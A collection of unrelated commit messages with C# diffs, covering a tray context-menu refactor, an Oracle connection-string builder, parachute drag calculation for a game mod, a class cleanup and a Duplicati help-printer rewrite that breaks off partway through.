Context menu was re-shown after clicked startup menu item.

--- CreviceApp/UI.LauncherForm.cs
+++ CreviceApp/UI.LauncherForm.cs
@@ -278,6 +278,10 @@
             OpenLastErrorMessageWithNotepad();
         }

+        /// <summary>
+        /// This function calcurate the preferred direction for showing <c>ContextMenuStrip</c> based on the position of the cursor.
+        /// </summary>
+        /// <returns>Preferred <c>ToolStripDropDownDirection</c>.</returns>
         private ToolStripDropDownDirection GetPreferredToolStripDropDownDirection()
         {
             var cursor = Cursor.Position;
@@ -296,6 +300,13 @@

         private void NotifyIcon1_MouseUp(object sender, MouseEventArgs e)
         {
+            ShowContextMenu();
+        }
+
+        private void ShowContextMenu()
+        {
+            // `ContextMenuStrip` must be set as the foreground window before `Show()` is called, otherwise,
+            // it will be shown on the top most and never to be hidden even if other window or desktop is clicked until once it is clicked.
             NativeMethods.SetForegroundWindow(new HandleRef(contextMenuStrip1, contextMenuStrip1.Handle));
             contextMenuStrip1.Show(Cursor.Position, GetPreferredToolStripDropDownDirection());
         }
@@ -308,7 +319,7 @@
         private void RegisterContextMenuItems0()
         {
             var item = new ToolStripMenuItem($"Crevice {Application.ProductVersion}");
-            item.Click += (_s, _e) => ShowProductInfoForm();
+            item.Click += (sender, e) => ShowProductInfoForm();
             contextMenuStrip1.Items.Add(item);
         }

@@ -317,79 +328,91 @@
             var item = new ToolStripSeparator();
             contextMenuStrip1.Items.Add(item);
         }
-
-        private void RegisterContextMenuItems2()
-        {
-            var item = new ToolStripMenuItem("Run on Startup");
-            if (DesktopBridgeHelpers.IsRunningAsUwp())
-            {
-                {
-                    var task = Windows.ApplicationModel.StartupTask.GetAsync("CreviceStartupTask").AsTask();
-                    task.Wait();
-                    var startupTask = task.Result;
-                    switch (startupTask.State)
-                    {
-                        case Windows.ApplicationModel.StartupTaskState.Disabled:
-                            item.Checked = false;
-                            break;
+
+        private void RegisterContextMenuUwpStartup(ToolStripMenuItem item)
+        {
+            {
+                var task = Windows.ApplicationModel.StartupTask.GetAsync("CreviceStartupTask").AsTask();
+                task.Wait();
+                var startupTask = task.Result;
+                switch (startupTask.State)
+                {
+                    case Windows.ApplicationModel.StartupTaskState.Disabled:
+                        item.Checked = false;
+                        break;
+                    case Windows.ApplicationModel.StartupTaskState.DisabledByUser:
+                        item.Checked = false;
+                        break;
+                    case Windows.ApplicationModel.StartupTaskState.Enabled:
+                        item.Checked = true;
+                        break;
+                }
+            }
+            item.Click += async (sender, e) =>
+            {
+                var startupTask = await Windows.ApplicationModel.StartupTask.GetAsync("CreviceStartupTask");
+                if (startupTask.State == Windows.ApplicationModel.StartupTaskState.Enabled)
+                {
+                    Verbose.Print("CreviceStartupTask(UWP) has been disabled.");
+                    startupTask.Disable();
+                    item.Checked = false;
+                }
+                else
+                {
+                    var state = await startupTask.RequestEnableAsync();
+                    switch (state)
+                    {
                         case Windows.ApplicationModel.StartupTaskState.DisabledByUser:
+                            Verbose.Print("CreviceStartupTask(UWP) has been disabled by the user.");
                             item.Checked = false;
                             break;
                         case Windows.ApplicationModel.StartupTaskState.Enabled:
+                            Verbose.Print("CreviceStartupTask(UWP) has been enabled.");
                             item.Checked = true;
                             break;
                     }
                 }
-                item.Click += async (_s, _e) =>
-                {
-                    var startupTask = await Windows.ApplicationModel.StartupTask.GetAsync("CreviceStartupTask");
-                    if (startupTask.State == Windows.ApplicationModel.StartupTaskState.Enabled)
-                    {
-                        Verbose.Print("CreviceStartupTask(UWP) has been disabled.");
-                        startupTask.Disable();
-                        item.Checked = false;
-                    }
-                    else
-                    {
-                        var state = await startupTask.RequestEnableAsync();
-                        switch (state)
-                        {
-                            case Windows.ApplicationModel.StartupTaskState.DisabledByUser:
-                                Verbose.Print("CreviceStartupTask(UWP) has been disabled by the user.");
-                                item.Checked = false;
-                                break;
-                            case Windows.ApplicationModel.StartupTaskState.Enabled:
-                                Verbose.Print("CreviceStartupTask(UWP) has been enabled.");
-                                item.Checked = true;
-                                break;
-                        }
-                    }
-                    contextMenuStrip1.Show();
-                };
-            }
-            else
-            {
-                item.Checked = AutoRun;
-                item.Click += (_s, _e) =>
-                {
-                    item.Checked = !AutoRun;
-                    AutoRun = item.Checked;
-                    contextMenuStrip1.Show();
-                };
-            }
-            contextMenuStrip1.Items.Add(item);
-        }
-
-        private void RegisterContextMenuItems2_Win61()
-        {
-            var item = new ToolStripMenuItem("Run on Startup");
+            };
+        }
+
+        private void RegisterContextMenuRegistoryStartup(ToolStripMenuItem item)
+        {
             item.Checked = AutoRun;
-            item.Click += (_s, _e) =>
+            item.Click += (sender, e) =>
             {
                 item.Checked = !AutoRun;
                 AutoRun = item.Checked;
-                contextMenuStrip1.Show();
             };
+        }
+
+        /// <summary>
+        /// This is a function for Windows 8 or later. Under those environment,
+        /// this function must be used instead of <c>RegisterContextMenuItems2()</c>. Otherwise, application
+        /// will cause a runtime error.
+        /// </summary>
+        private void RegisterContextMenuItems2()
+        {
+            var item = new ToolStripMenuItem("Run on Startup");
+            if (DesktopBridgeHelpers.IsRunningAsUwp())
+            {
+                RegisterContextMenuUwpStartup(item);
+            }
+            else
+            {
+                RegisterContextMenuRegistoryStartup(item);
+            }
+            contextMenuStrip1.Items.Add(item);
+        }
+
+        /// <summary>
+        /// This is a specialized function for Windows 7 or earlier. Under those environment,
+        /// this function must be used instead of <c>RegisterContextMenuItems2()</c>. Otherwise, application
+        /// will cause a runtime error.
+        /// </summary>
+        private void RegisterContextMenuItems2_Win61()
+        {
+            var item = new ToolStripMenuItem("Run on Startup");
+            RegisterContextMenuRegistoryStartup(item);
             contextMenuStrip1.Items.Add(item);
         }

@@ -404,7 +427,7 @@
             if (!String.IsNullOrEmpty(LastErrorMessage))
             {
                 var item = new ToolStripMenuItem("View ErrorMessage");
-                item.Click += (_s, _e) => OpenLastErrorMessageWithNotepad();
+                item.Click += (sender, e) => OpenLastErrorMessageWithNotepad();
                 contextMenuStrip1.Items.Add(item);
             }
         }
@@ -412,14 +435,14 @@
         private void RegisterContextMenuItems5()
         {
             var item = new ToolStripMenuItem("Open Documentation");
-            item.Click += (_s, _e) => StartExternalProcess("https://creviceapp.github.io");
+            item.Click += (sender, e) => StartExternalProcess("https://creviceapp.github.io");
             contextMenuStrip1.Items.Add(item);
         }

         private void RegisterContextMenuItems6()
         {
             var item = new ToolStripMenuItem("Open UserScript");
-            item.Click += (_s, _e) => OpenUserScriptWithExplorer();
+            item.Click += (sender, e) => OpenUserScriptWithExplorer();
             contextMenuStrip1.Items.Add(item);
         }

@@ -432,7 +455,7 @@
         private void RegisterContextMenuItems8()
         {
             var item = new ToolStripMenuItem("Exit");
-            item.Click += (_s, _e) =>
+            item.Click += (sender, e) =>
             {
                 Close();
                 Application.ExitThread();


Improvement in Oracle connection string build for DbMetal

--- DbLinq.Oracle/OracleVendor.cs
+++ DbLinq.Oracle/OracleVendor.cs
@@ -117,6 +117,22 @@
         {
         }

+        // This method workds much better on various environment. But why? Thanks Oracle guys for dry documentation.
+        public override string BuildConnectionString(string host, string databaseName, string userName, string password)
+        {
+            var connectionStringBuilder = new StringBuilder();
+            connectionStringBuilder.AppendFormat(
+                "Data Source = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = {0})(PORT = 1521)))(CONNECT_DATA = (SERVER = DEDICATED)))",
+                host);
+            if (!string.IsNullOrEmpty(userName))
+            {
+                connectionStringBuilder.AppendFormat("; User Id = {0}", userName);
+                if (!string.IsNullOrEmpty(password))
+                    connectionStringBuilder.AppendFormat("; Password = {0}", password);
+            }
+            return connectionStringBuilder.ToString();
+        }
+
         protected override string ConnectionStringDatabase { get { return null; } }
         protected override string ConnectionStringServer { get { return "data source"; } }
     }


Adding RealChute processing

Adding RealChute processing

--- DebRefund/DebRefundManager.cs
+++ DebRefund/DebRefundManager.cs
@@ -46,6 +46,23 @@
             if (!HighLogic.LoadedSceneIsEditor && !v.isActiveVessel && (v.situation == Vessel.Situations.FLYING || v.situation == Vessel.Situations.SUB_ORBITAL) && v.orbit.referenceBody.bodyName.Equals("Kerbin") && (v.mainBody.GetAltitude(v.CoM) - (v.terrainAltitude < 0 ? 0 : v.terrainAltitude) > 10) && !nonAtmoKill)
             {
                 bool RealChutes = AssemblyLoader.loadedAssemblies.Any(a => a.name.Contains("RealChute"));
+                object MatLibraryInstance = null;
+                Type matLibraryType = null;
+                System.Reflection.MethodInfo matMethod = null;
+                System.Reflection.PropertyInfo matDragProp = null;
+                if (RealChutes)
+                {
+                    matLibraryType = AssemblyLoader.loadedAssemblies
+                        .SelectMany(a => a.assembly.GetExportedTypes())
+                        .SingleOrDefault(t => t.FullName == "RealChute.Libraries.MaterialsLibrary");
+                    matMethod = matLibraryType.GetMethod("GetMaterial", new Type[] { typeof(string) });
+                    MatLibraryInstance = matLibraryType.GetProperty("instance").GetValue(null, null);
+
+                    Type matDefType = AssemblyLoader.loadedAssemblies
+                        .SelectMany(a => a.assembly.GetExportedTypes())
+                        .SingleOrDefault(t => t.FullName == "RealChute.Libraries.MaterialDefinition");
+                    matDragProp = matDefType.GetProperty("dragCoefficient");
+                }

                 float drag = 0;
                 float mass = 0;
@@ -78,7 +95,20 @@
                         ProtoPartModuleSnapshot pm = p.modules.FirstOrDefault(pms => pms.moduleName == "RealChuteModule");
                         if (pm != null)
                         {
-                            //CODE THE CODES AND CODE CODE CODE!
+                            ConfigNode[] parachutes = pm.moduleValues.GetNodes("PARACHUTE");
+                            foreach (ConfigNode chute in parachutes)
+                            {
+                                if (float.Parse(chute.GetValue("cutAlt")) < 0)
+                                {
+                                    float d = float.Parse(chute.GetValue("deployedDiameter"));
+                                    float area = Mathf.PI * Mathf.Pow(d / 2, 2);
+                                    string mat = chute.GetValue("material");
+                                    object matObj = matMethod.Invoke(MatLibraryInstance, new object[] { mat });
+                                    float dragC = (float)matDragProp.GetValue(matObj, null);
+
+                                    drag += dragC * area;
+                                }
+                            }
                         }
                     }
                     else


Axe rafactoring

Axe rafactoring

--- DuelToTheDeath/Weapons/Axe.cs
+++ DuelToTheDeath/Weapons/Axe.cs
@@ -1,10 +1,4 @@
-using System;
-
-public class Axe
-{
-
-}
-
+
 public class Axe
 {
     private int attackPoints;


Added support for %FHOPTIONS% in help.txt

--- Duplicati/CommandLine/Help.cs
+++ Duplicati/CommandLine/Help.cs
@@ -1,477 +1,484 @@
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-
-namespace Duplicati.CommandLine
-{
-    public static class Help
-    {
-        private static readonly Dictionary<string, string> _document;
-        private const string RESOURCE_NAME = "Duplicati.CommandLine.help.txt";
-        private static readonly System.Text.RegularExpressions.Regex NAMEDOPTION_REGEX = new System.Text.RegularExpressions.Regex("\\%OPTION\\:(?<name>[^\\%]+)\\%");
-
-        static Help()
-        {
-            _document = new Dictionary<string,string>(StringComparer.InvariantCultureIgnoreCase);
-
-            using (System.IO.StreamReader sr = new System.IO.StreamReader(System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceStream(RESOURCE_NAME)))
-            {
-                List<string> keywords = new List<string>();
-                StringBuilder sb = new StringBuilder();
-                foreach(var line in sr.ReadToEnd().Split(new string[] { "\r\n", "\n", "\r" }, StringSplitOptions.None))
-                {
-                    if (line.Trim().StartsWith("#"))
-                        continue;
-
-                    if (line.Trim().StartsWith(">"))
-                    {
-                        if (sb.Length > 0)
-                        {
-                            string s = sb.ToString();
-                            foreach(var k in keywords)
-                                _document[k] = s;
-
-                            keywords.Clear();
-                            sb.Clear();
-                        }
-
-                        string[] elems = line.Split(new string[] {" ", "\t"}, StringSplitOptions.RemoveEmptyEntries);
-                        if (elems.Length >= 2 && string.Equals(elems[elems.Length - 2], "help", StringComparison.InvariantCultureIgnoreCase))
-                            keywords.Add(elems[elems.Length - 1]);
-                        else if (elems.Length == 3 && string.Equals(elems[elems.Length - 1], "help", StringComparison.InvariantCultureIgnoreCase))
-                            keywords.Add("help");
-                    }
-                    else
-                    {
-                        sb.AppendLine(line);
-                    }
-                }
-
-                if (sb.Length > 0)
-                {
-                    string s = sb.ToString();
-                    foreach(var k in keywords)
-                        _document[k] = s;
-                }
-            }
-        }
-
-        public static void PrintUsage(string topic, IDictionary<string, string> options)
-        {
-            try
-            {
-                //Force translation off
-                System.Threading.Thread.CurrentThread.CurrentCulture = System.Globalization.CultureInfo.InvariantCulture;
-                System.Threading.Thread.CurrentThread.CurrentUICulture = System.Globalization.CultureInfo.InvariantCulture;
-            }
-            catch { }
-
-            if (string.IsNullOrWhiteSpace(topic))
-                topic = "help";
-
-            if (string.Equals("help", topic, StringComparison.InvariantCultureIgnoreCase) && options.Count == 1)
-                topic = new List<string>(options.Keys)[0];
-
-
-            if (_document.ContainsKey(topic))
-            {
-                string tp = _document[topic];
-                Library.Main.Options opts = new Library.Main.Options(new Dictionary<string, string>());
-
-                tp = tp.Replace("%VERSION%", License.VersionNumbers.Version);
-                tp = tp.Replace("%BACKENDS%", string.Join(", ", Library.DynamicLoader.BackendLoader.Keys));
-                tp = tp.Replace("%MONO%", Library.Utility.Utility.IsMono ? "mono " : "");
-                tp = tp.Replace("%APP_PATH%", System.IO.Path.GetFileName(System.Reflection.Assembly.GetExecutingAssembly().Location));
-                tp = tp.Replace("%EXAMPLE_SOURCE_PATH%", Library.Utility.Utility.IsClientLinux ? "/source" : "D:\\source");
-                tp = tp.Replace("%EXAMPLE_SOURCE_FILE%", Library.Utility.Utility.IsClientLinux ? "/source/myfile.txt" : "D:\\source\\file.txt");
-                tp = tp.Replace("%EXAMPLE_RESTORE_PATH%", Library.Utility.Utility.IsClientLinux ? "/restore" : "D:\\restore");
-                tp = tp.Replace("%ENCRYPTIONMODULES%", string.Join(", ", Library.DynamicLoader.EncryptionLoader.Keys));
-                tp = tp.Replace("%COMPRESSIONMODULES%", string.Join(", ", Library.DynamicLoader.CompressionLoader.Keys));
-                tp = tp.Replace("%DEFAULTENCRYPTIONMODULE%", opts.EncryptionModule);
-                tp = tp.Replace("%DEFAULTCOMPRESSIONMODULE%", opts.CompressionModule);
-                tp = tp.Replace("%GENERICMODULES%", string.Join(", ", Library.DynamicLoader.GenericLoader.Keys));
-
-                if (tp.Contains("%MAINOPTIONS%"))
-                {
-                    List<string> lines = new List<string>();
-                    SortedList<string, Library.Interface.ICommandLineArgument> sorted = new SortedList<string, Library.Interface.ICommandLineArgument>();
-                    foreach (Library.Interface.ICommandLineArgument arg in opts.SupportedCommands)
-                        sorted.Add(arg.Name, arg);
-
-                    foreach (Library.Interface.ICommandLineArgument arg in Program.SupportedCommands)
-
-                        sorted.Add(arg.Name, arg);
-
-
-                    foreach (Library.Interface.ICommandLineArgument arg in sorted.Values)
-                        lines.Add(PrintArgSimple(arg, arg.Name));
-
-                    tp = tp.Replace("%MAINOPTIONS%", string.Join(Environment.NewLine, lines.ToArray()));
-                }
-
-                if (tp.Contains("%ALLOPTIONS%"))
-                {
-                    List<string> lines = new List<string>();
-                    foreach (Library.Interface.ICommandLineArgument arg in opts.SupportedCommands)
-                        Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
-
-
-
-                    foreach (Library.Interface.ICommandLineArgument arg in Program.SupportedCommands)
-
-                        Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
-
-                    lines.Add("");
-                    lines.Add("");
-                    lines.Add(Strings.Program.SupportedBackendsHeader);
-                    foreach (Duplicati.Library.Interface.IBackend back in Library.DynamicLoader.BackendLoader.Backends)
-                        PrintBackend(back, lines);
-
-                    lines.Add("");
-                    lines.Add("");
-                    lines.Add(Strings.Program.SupportedEncryptionModulesHeader);
-                    foreach (Duplicati.Library.Interface.IEncryption mod in Library.DynamicLoader.EncryptionLoader.Modules)
-                        PrintEncryptionModule(mod, lines);
-
-                    lines.Add("");
-                    lines.Add("");
-                    lines.Add(Strings.Program.SupportedCompressionModulesHeader);
-                    foreach (Duplicati.Library.Interface.ICompression mod in Library.DynamicLoader.CompressionLoader.Modules)
-                        PrintCompressionModule(mod, lines);
-
-                    lines.Add("");
-
-                    lines.Add("");
-                    lines.Add("");
-                    lines.Add(Strings.Program.GenericModulesHeader);
-                    foreach (Duplicati.Library.Interface.IGenericModule mod in Library.DynamicLoader.GenericLoader.Modules)
-                        PrintGenericModule(mod, lines);
-
-                    lines.Add("");
-
-                    tp = tp.Replace("%ALLOPTIONS%", string.Join(Environment.NewLine, lines.ToArray()));
-                }
-
-                if (tp.Contains("%MODULEOPTIONS%"))
-                {
-                    //Figure out which module we are in
-                    IList<Library.Interface.ICommandLineArgument> args = null;
-                    bool found = false;
-                    foreach (Duplicati.Library.Interface.IBackend backend in Library.DynamicLoader.BackendLoader.Backends)
-                        if (string.Equals(backend.ProtocolKey, topic, StringComparison.InvariantCultureIgnoreCase))
-                        {
-                            args = backend.SupportedCommands;
-                            found = true;
-                            break;
-                        }
-
-                    if (args == null)
-                        foreach (Duplicati.Library.Interface.IEncryption module in Library.DynamicLoader.EncryptionLoader.Modules)
-                            if (string.Equals(module.FilenameExtension, topic, StringComparison.InvariantCultureIgnoreCase))
-                            {
-                                args = module.SupportedCommands;
-                                found = true;
-                                break;
-                            }
-
-                    if (args == null)
-                        foreach (Duplicati.Library.Interface.ICompression module in Library.DynamicLoader.CompressionLoader.Modules)
-                            if (string.Equals(module.FilenameExtension, topic, StringComparison.InvariantCultureIgnoreCase))
-                            {
-                                args = module.SupportedCommands;
-                                found = true;
-                                break;
-                            }
-
-                    if (args == null)
-                        foreach (Duplicati.Library.Interface.IGenericModule module in Library.DynamicLoader.GenericLoader.Modules)
-                            if (string.Equals(module.Key, topic, StringComparison.InvariantCultureIgnoreCase))
-                            {
-                                args = module.SupportedCommands;
-                                found = true;
-                                break;
-                            }
-
-                    //If the module is not found, we do not display the description
-                    if (found)
-                        tp = tp.Replace("%MODULEOPTIONS%", PrintArgsSimple(args));
-                    else
-                    {
-                        Console.WriteLine("Topic not found: {0}", topic);
-                        Console.WriteLine();
-                        //Prevent recursive lookups
-                        if (topic != "help")
-                            PrintUsage("help", new Dictionary<string, string>());
-                        return;
-                    }
-                }
-
-                if (NAMEDOPTION_REGEX.IsMatch(tp))
-                    tp = NAMEDOPTION_REGEX.Replace(tp, new Matcher().MathEvaluator);
-
-                PrintFormatted(tp.Split(new string[] { Environment.NewLine }, StringSplitOptions.None));
-            }
-            else
-            {
-                List<string> lines = new List<string>();
-
-                foreach (Duplicati.Library.Interface.IBackend backend in Library.DynamicLoader.BackendLoader.Backends)
-                    if (string.Equals(backend.ProtocolKey, topic, StringComparison.InvariantCultureIgnoreCase))
-                    {
-                        PrintBackend(backend, lines);
-                        break;
-                    }
-
-                if (lines.Count == 0)
-                    foreach (Duplicati.Library.Interface.IEncryption mod in Library.DynamicLoader.EncryptionLoader.Modules)
-                        if (string.Equals(mod.FilenameExtension, topic, StringComparison.InvariantCultureIgnoreCase))
-                        {
-                            PrintEncryptionModule(mod, lines);
-                            break;
-                        }
-
-                if (lines.Count == 0)
-                    foreach (Duplicati.Library.Interface.ICompression mod in Library.DynamicLoader.CompressionLoader.Modules)
-                        if (string.Equals(mod.FilenameExtension, topic, StringComparison.InvariantCultureIgnoreCase))
-                        {
-                            PrintCompressionModule(mod, lines);
-                            break;
-                        }
-
-                if (lines.Count == 0)
-                    foreach (Duplicati.Library.Interface.IGenericModule mod in Library.DynamicLoader.GenericLoader.Modules)
-                        if (string.Equals(mod.Key, topic, StringComparison.InvariantCultureIgnoreCase))
-                        {
-                            PrintGenericModule(mod, lines);
-                            break;
-                        }
-
-
-                if (lines.Count == 0)
-                    PrintArgumentIfFound(new Matcher().Values, topic, lines);
-
-                if (lines.Count != 0)
-                {
-                    PrintFormatted(lines);
-                }
-                else
-                {
-                    Console.WriteLine("Topic not found: {0}", topic);
-                    Console.WriteLine();
-                    PrintUsage("help", new Dictionary<string, string>());
-                }
-            }
-        }
-
-        private static void PrintArgumentIfFound(IEnumerable<Duplicati.Library.Interface.ICommandLineArgument> args, string topic, List<string> lines)
-        {
-            if (args == null)
-                return;
-
-            foreach (Duplicati.Library.Interface.ICommandLineArgument arg in args)
-            {
-                if (string.Equals(arg.Name, topic, StringComparison.InvariantCultureIgnoreCase))
-                {
-                    Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
-                    return;
-                }
-
-                if (arg.Aliases != null)
-                    foreach (string k in arg.Aliases)
-                    {
-                        if (string.Equals(k, topic, StringComparison.InvariantCultureIgnoreCase))
-                        {
-                            Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
-                            return;
-                        }
-                    }
-            }
-        }
-
-        private static void PrintBackend(Duplicati.Library.Interface.IBackend back, List<string> lines)
-        {
-            lines.Add(back.DisplayName + " (" + back.ProtocolKey + "):");
-            lines.Add(" " + back.Description);
-            if (back.SupportedCommands != null && back.SupportedCommands.Count > 0)
-            {
-                lines.Add(" " + Strings.Program.SupportedOptionsHeader);
-                foreach (Library.Interface.ICommandLineArgument arg in back.SupportedCommands)
-                    Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
-            }
-            lines.Add("");
-        }
-
-        private static void PrintEncryptionModule(Duplicati.Library.Interface.IEncryption mod, List<string> lines)
-        {
-            lines.Add(mod.DisplayName + " (." + mod.FilenameExtension + "):");
-            lines.Add(" " + mod.Description);
-            if (mod.SupportedCommands != null && mod.SupportedCommands.Count > 0)
-            {
-                lines.Add(" " + Strings.Program.SupportedOptionsHeader);
-                foreach (Library.Interface.ICommandLineArgument arg in mod.SupportedCommands)
-                    Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
-            }
-            lines.Add("");
-        }
-
-        private static void PrintCompressionModule(Duplicati.Library.Interface.ICompression mod, List<string> lines)
-        {
-            lines.Add(mod.DisplayName + " (." + mod.FilenameExtension + "):");
-            lines.Add(" " + mod.Description);
-            if (mod.SupportedCommands != null && mod.SupportedCommands.Count > 0)
-            {
-                lines.Add(" " + Strings.Program.SupportedOptionsHeader);
-                foreach (Library.Interface.ICommandLineArgument arg in mod.SupportedCommands)
-                    Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
-            }
-            lines.Add("");
-        }
-
-        private static void PrintGenericModule(Duplicati.Library.Interface.IGenericModule mod, List<string> lines)
-        {
-            lines.Add(mod.DisplayName + " (" + mod.Key + "):");
-            lines.Add(" " + mod.Description);
-            lines.Add(" " + (mod.LoadAsDefault ? Strings.Program.ModuleIsLoadedAutomatically : Strings.Program.ModuleIsNotLoadedAutomatically));
-            if (mod.SupportedCommands != null && mod.SupportedCommands.Count > 0)
-            {
-                lines.Add(" " + Strings.Program.SupportedOptionsHeader);
-                foreach (Library.Interface.ICommandLineArgument arg in mod.SupportedCommands)
-                    Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
-            }
-            lines.Add("");
-        }
-
-        private static string PrintArguments(IEnumerable<Duplicati.Library.Interface.ICommandLineArgument> args)
-        {
-            if (args == null)
-                return "";
-
-            List<string> lines = new List<string>();
-            foreach (Library.Interface.ICommandLineArgument arg in args)
-                Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
-
-            return string.Join(Environment.NewLine, lines.ToArray());
-
-        }
-
-        private static void PrintFormatted(IEnumerable<string> lines)
-        {
-            foreach (string s in lines)
-            {
-                if (string.IsNullOrEmpty(s) || s.Trim().Length == 0)
-                {
-                    Console.WriteLine();
-                    continue;
-                }
-
-                string c = s;
-
-                string leadingSpaces = "";
-                while (c.Length > 0 && c.StartsWith(" "))
-                {
-                    leadingSpaces += " ";
-                    c = c.Remove(0, 1);
-                }
-
-                bool extraIndent = c.StartsWith("--");
-
-                while (c.Length > 0)
-                {
-                    int len = Math.Min(Console.WindowWidth - 2, leadingSpaces.Length + c.Length);
-                    len -= leadingSpaces.Length;
-                    if (len < c.Length)
-                    {
-                        int ix = c.LastIndexOf(" ", len);
-                        if (ix > 0)
-                            len = ix;
-                    }
-
-                    Console.WriteLine(leadingSpaces + c.Substring(0, len).Trim());
-                    c = c.Remove(0, len);
-                    if (extraIndent)
-                    {
-                        extraIndent = false;
-                        leadingSpaces += "  ";
-                    }
-                }
-            }
-        }
-
-        private class Matcher
-        {
-            Dictionary<string, Library.Interface.ICommandLineArgument> args = new Dictionary<string, Library.Interface.ICommandLineArgument>(StringComparer.InvariantCultureIgnoreCase);
-
-            public Matcher()
-            {
-                Library.Main.Options opts = new Library.Main.Options(new Dictionary<string, string>());
-                List<IList<Library.Interface.ICommandLineArgument>> foundArgs = new List<IList<Library.Interface.ICommandLineArgument>>();
-                foundArgs.Add(new Library.Main.Options(new Dictionary<string, string>()).SupportedCommands);
-                foundArgs.Add(Program.SupportedCommands);
-
-                foreach (Duplicati.Library.Interface.IBackend backend in Library.DynamicLoader.BackendLoader.Backends)
-                    if (backend.SupportedCommands != null)
-                        foundArgs.Add(backend.SupportedCommands);
-                foreach (Duplicati.Library.Interface.IEncryption mod in Library.DynamicLoader.EncryptionLoader.Modules)
-                    if (mod.SupportedCommands != null)
-                        foundArgs.Add(mod.SupportedCommands);
-                foreach (Duplicati.Library.Interface.ICompression mod in Library.DynamicLoader.CompressionLoader.Modules)
-                    if (mod.SupportedCommands != null)
-                        foundArgs.Add(mod.SupportedCommands);
-                foreach (Duplicati.Library.Interface.IGenericModule mod in Library.DynamicLoader.GenericLoader.Modules)
-                    if (mod.SupportedCommands != null)
-                        foundArgs.Add(mod.SupportedCommands);
-
-                foreach (IEnumerable<Library.Interface.ICommandLineArgument> arglst in foundArgs)
-                    if (arglst != null)
-                    {
-                        foreach (Library.Interface.ICommandLineArgument arg in arglst)
-                        {
-                            if (!args.ContainsKey(arg.Name))
-                                args[arg.Name] = arg;
-
-                            if (arg.Aliases != null)
-                                foreach (string a in arg.Aliases)
-                                    if (!args.ContainsKey(a))
-                                        args[a] = arg;
-                        }
-                    }
-            }
-
-            public IEnumerable<Library.Interface.ICommandLineArgument> Values { get { return args.Values; } }
-
-            public string MathEvaluator(System.Text.RegularExpressions.Match m)
-            {
-                if (!m.Success || !m.Groups["name"].Success)
-                    return "";
-
-                Duplicati.Library.Interface.ICommandLineArgument arg;
-                if (!args.TryGetValue(m.Groups["name"].Value, out arg))
-                    return "";
-                else
-                    return PrintArgSimple(arg, m.Groups["name"].Value.ToLowerInvariant());
-            }
-        }
-
-        private static string PrintArgsSimple(IEnumerable<Duplicati.Library.Interface.ICommandLineArgument> args)
-        {
-            if (args == null)
-                return "";
-
-            List<string> lines = new List<string>();
-            foreach(Duplicati.Library.Interface.ICommandLineArgument arg in args)
-                lines.Add(PrintArgSimple(arg, arg.Name));
-
-            return string.Join(Environment.NewLine, lines.ToArray());
-        }
-
-
-        private static string PrintArgSimple(Duplicati.Library.Interface.ICommandLineArgument arg, string name)
-        {
-            if (string.IsNullOrEmpty(arg.DefaultValue))
-                return string.Format("  --{0}{1}    {2}", name, Environment.NewLine, arg.LongDescription);
-            else
-                return string.Format("  --{0} = {1}{2}    {3}", name, arg.DefaultValue, Environment.NewLine, arg.LongDescription);
-        }
-    }
-}
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Duplicati.CommandLine
+{
+    public static class Help
+    {
+        private static readonly Dictionary<string, string> _document;
+        private const string RESOURCE_NAME = "Duplicati.CommandLine.help.txt";
+        private static readonly System.Text.RegularExpressions.Regex NAMEDOPTION_REGEX = new System.Text.RegularExpressions.Regex("\\%OPTION\\:(?<name>[^\\%]+)\\%");
+
+        static Help()
+        {
+            _document = new Dictionary<string,string>(StringComparer.InvariantCultureIgnoreCase);
+
+            using (System.IO.StreamReader sr = new System.IO.StreamReader(System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceStream(RESOURCE_NAME)))
+            {
+                List<string> keywords = new List<string>();
+                StringBuilder sb = new StringBuilder();
+                foreach(var line in sr.ReadToEnd().Split(new string[] { "\r\n", "\n", "\r" }, StringSplitOptions.None))
+                {
+                    if (line.Trim().StartsWith("#"))
+                        continue;
+
+                    if (line.Trim().StartsWith(">"))
+                    {
+                        if (sb.Length > 0)
+                        {
+                            string s = sb.ToString();
+                            foreach(var k in keywords)
+                                _document[k] = s;
+
+                            keywords.Clear();
+                            sb.Clear();
+                        }
+
+                        string[] elems = line.Split(new string[] {" ", "\t"}, StringSplitOptions.RemoveEmptyEntries);
+                        if (elems.Length >= 2 && string.Equals(elems[elems.Length - 2], "help", StringComparison.InvariantCultureIgnoreCase))
+                            keywords.Add(elems[elems.Length - 1]);
+                        else if (elems.Length == 3 && string.Equals(elems[elems.Length - 1], "help", StringComparison.InvariantCultureIgnoreCase))
+                            keywords.Add("help");
+                    }
+                    else
+                    {
+                        sb.AppendLine(line);
+                    }
+                }
+
+                if (sb.Length > 0)
+                {
+                    string s = sb.ToString();
+                    foreach(var k in keywords)
+                        _document[k] = s;
+                }
+            }
+        }
+
+        public static void PrintUsage(string topic, IDictionary<string, string> options)
+        {
+            try
+            {
+                //Force translation off
+                System.Threading.Thread.CurrentThread.CurrentCulture = System.Globalization.CultureInfo.InvariantCulture;
+                System.Threading.Thread.CurrentThread.CurrentUICulture = System.Globalization.CultureInfo.InvariantCulture;
+            }
+            catch { }
+
+            if (string.IsNullOrWhiteSpace(topic))
+                topic = "help";
+
+            if (string.Equals("help", topic, StringComparison.InvariantCultureIgnoreCase) && options.Count == 1)
+                topic = new List<string>(options.Keys)[0];
+
+
+            if (_document.ContainsKey(topic))
+            {
+                string tp = _document[topic];
+                Library.Main.Options opts = new Library.Main.Options(new Dictionary<string, string>());
+
+                tp = tp.Replace("%VERSION%", License.VersionNumbers.Version);
+                tp = tp.Replace("%BACKENDS%", string.Join(", ", Library.DynamicLoader.BackendLoader.Keys));
+                tp = tp.Replace("%MONO%", Library.Utility.Utility.IsMono ? "mono " : "");
